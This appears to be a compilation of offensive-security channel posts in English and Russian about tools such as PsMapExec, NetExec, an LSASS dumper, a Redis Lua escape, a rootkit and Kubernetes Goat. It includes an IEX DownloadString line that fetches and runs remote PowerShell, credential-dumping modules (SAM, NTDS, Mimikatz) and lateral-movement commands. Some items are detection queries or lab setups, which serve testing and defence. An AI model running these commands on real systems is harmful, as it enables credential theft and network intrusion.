What started out as a GUI test and something to muck about with has sort of grown arms and legs. As it stands this is a cross platform GUI app for browsing LDAP and will direct YOLO into a Neo4J database, it comes with LDAP/LDAPS browsing capabilites, it'll run standalone and you can modify it how you like

event.code: 11 and file.path: *Windows\\Temp* and file.extension: dmp

event.code: 5145 and winlog.event_data.ShareName: *.dmp

sudo python3 -m pip install apachetomcatscanner

ApacheTomcatScanner -tt 172.16.0.10 -tp - —-list-cves

Currently, in addition to merely focusing on avoiding scrutiny from EDRs (Endpoint Detection and Response) and Antivirus, the trend of using BYOVD (Bring Your Own Vulnerable Driver) techniques to disable the processes of EDRs and Antivirus by attackers is becoming increasingly popular.

The biggest drawback of the BYOVD technique is the need to find a way to install and execute drivers with vulnerabilities to exploit. Alternatively, a more straightforward approach is to exploit vulnerabilities in existing drivers on Windows

▪️Sensitive keys in codebases
▪️DIND (docker-in-docker) exploitation
▪️SSRF in the Kubernetes (K8S) world
▪️Container escape to the host system
▪️Docker CIS benchmarks analysis
▪️Kubernetes CIS benchmarks analysis
▪️Attacking private registry
▪️NodePort exposed services
▪️Helm v2 tiller to PwN the cluster - [Deprecated]
▪️Analyzing crypto miner container
▪️Kubernetes namespaces bypass
▪️Gaining environment information
▪️DoS the Memory/CPU resources
▪️Hacker container preview
▪️Hidden in layers
▪️RBAC least privileges misconfiguration
▪️KubeAudit - Audit Kubernetes clusters
▪️Falco - Runtime security monitoring & detection
▪️Popeye - A Kubernetes cluster sanitizer
▪️Secure network boundaries using NSP
▪️Cilium Tetragon - eBPF-based Security ▪️Observability and Runtime Enforcement
▪️Securing Kubernetes Clusters using Kyverno Policy Engine

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh
bash setup-kubernetes-goat.sh

bash access-kubernetes-goat.sh

# navigate to http://127.0.0.1:1234

Описание параметров
Примеры использования
Ссылки на полезные ресурсы

➡️ Поддержка Nexmon
➡️ Отказ от ARMel
➡️ Обновлённый плагин (vpn ip) для Xfce

➡️ Caido
➡️ Caido-cli
➡️ Detect It Easy (DiE)
➡️ Gemini CLI
➡️ krbrelayx
➡️ ligolo-mp
➡️ llm-tools-nmap
➡️ mcp-kali-server
➡️ patchleaks
➡️ vwifi-dkms

sudo apt update && sudo apt -y full-upgrade

grep VERSION /etc/os-release

VERSION="2025.3"
VERSION_ID="2025.3"
VERSION_CODENAME="kali-rolling"

Если DA подключен к серверу, на котором вы являетесь локальным администратором, просто создайте запланированную задачу, запрашивающую сертификат от его имени, получите сертификат (pfx) и его личные данные. Все это автоматизировано в данном модуле

nxc smb dc -d dom.local -u 'high_priv' -p 'high_priv123' -M schtask_as

scmr - Service Control Manager (MS-SCMR)
tsch - Task Scheduler (MS-TSCH)
dcom - Distributed Component Object Model (MS-DCOM)
wmi - Windows Management Instrumentation (MS-WMI)

This is a tool that uses the old WerfaultSecure.exe program to dump the memory of processes protected by PPL (Protected Process Light), such as LSASS.EXE. The output is in Windows MINIDUMP format

curl -sSfL https://get.anchore.io/grype | sudo sh -s -- -b /usr/local/bin

grype <image> --scope all-layers

Поддержка нескольких доменов
Улучшена работа через Proxifier / SSH туннели
Возможность включить/выключить RDP

Новые модули:
EventCreds

GMSA
ConstrainedDelegation
UnconstrainedDelegation
AdminCount
ComputerSIDs
UserDescriptions
UserLogonRestrictions
UserPasswords
UserSIDs

🔵RDP
🔵SessionHunter
🔵SMB
🔵SMB Signing
🔵LDAP / LDAPS
🔵SSH
🔵Spraying
🔵VNC
🔵WinRM
🔵WMI
🔵MSSQL
🔵Kerberoast

🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов
🔵 ConsoleHistory - история в PowerShell
🔵 Files - файлы в типичных директориях
🔵 KerbDump - дамп Kerberos билетов
🔵 eKeys - дамп ключей (Mimikatz)
🔵 LogonPasswords - дамп logon passwords (Mimikatz)
🔵 LSA - дамп LSA (Mimikatz)
🔵 NTDS - реализация DCsync
🔵 SAM - дамп SAM

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# Текущий пользователь
PsMapExec -Targets All -Method [Method]

# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput

# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]

The vulnerability exploits a Use-After-Free (UAF) memory corruption bug that has existed for approximately 13 years in the Redis source code

Коннект до Redis
Отправка вредоносного Lua скрипта через Eval
Триггерим Use-After-Free
Выход из Lua песочницы
Выполнение кода за пределами песочницы
Получаем полный доступ

Redis 8.2.2
Redis 8.0.4
Redis 7.4.6
Redis 7.2.11

Singularity is a Loadable Kernel Module (LKM) rootkit developed for Linux 6.x kernels that demonstrates advanced evasion and persistence techniques

Gain insights into MS-RPC implementations that may be vulnerable using an automated approach and make it easy to visualize the data

Import-Module .\MS-RPC-Fuzzer.psm1
Get-RpcServerData -target "C:\Windows\System32\efssvc.dll" -OutPath .\output

#Fuzzing
'.\output\rpcServerData.json' | Invoke-RpcFuzzer -outpath .\output\ -minStrLen 100 -maxStrLen 1000 -minIntSize 9999 -maxIntSize 99999

#Analysis
'.\output\Allowed.json' | Import-DatatoNeo4j -Neo4jHost 192.168.178.89:7474 -Neo4jUsername neo4j

# Host A
ft.exe -L 5000:127.0.0.1:3389 --write "\\server\share\1.dat" --read "\\server\share\2.dat"

# Host B
ft.exe --read "\\server\share\1.dat" --write "\\server\share\2.dat"

# Host A
ft.exe -L 5000:192.168.1.50:8888 --write "C:\Temp\1.dat" --read "C:\Temp\2.dat"

# Host B
ft.exe --read "\\tsclient\c\Temp\1.dat" --write "\\tsclient\c\Temp\2.dat"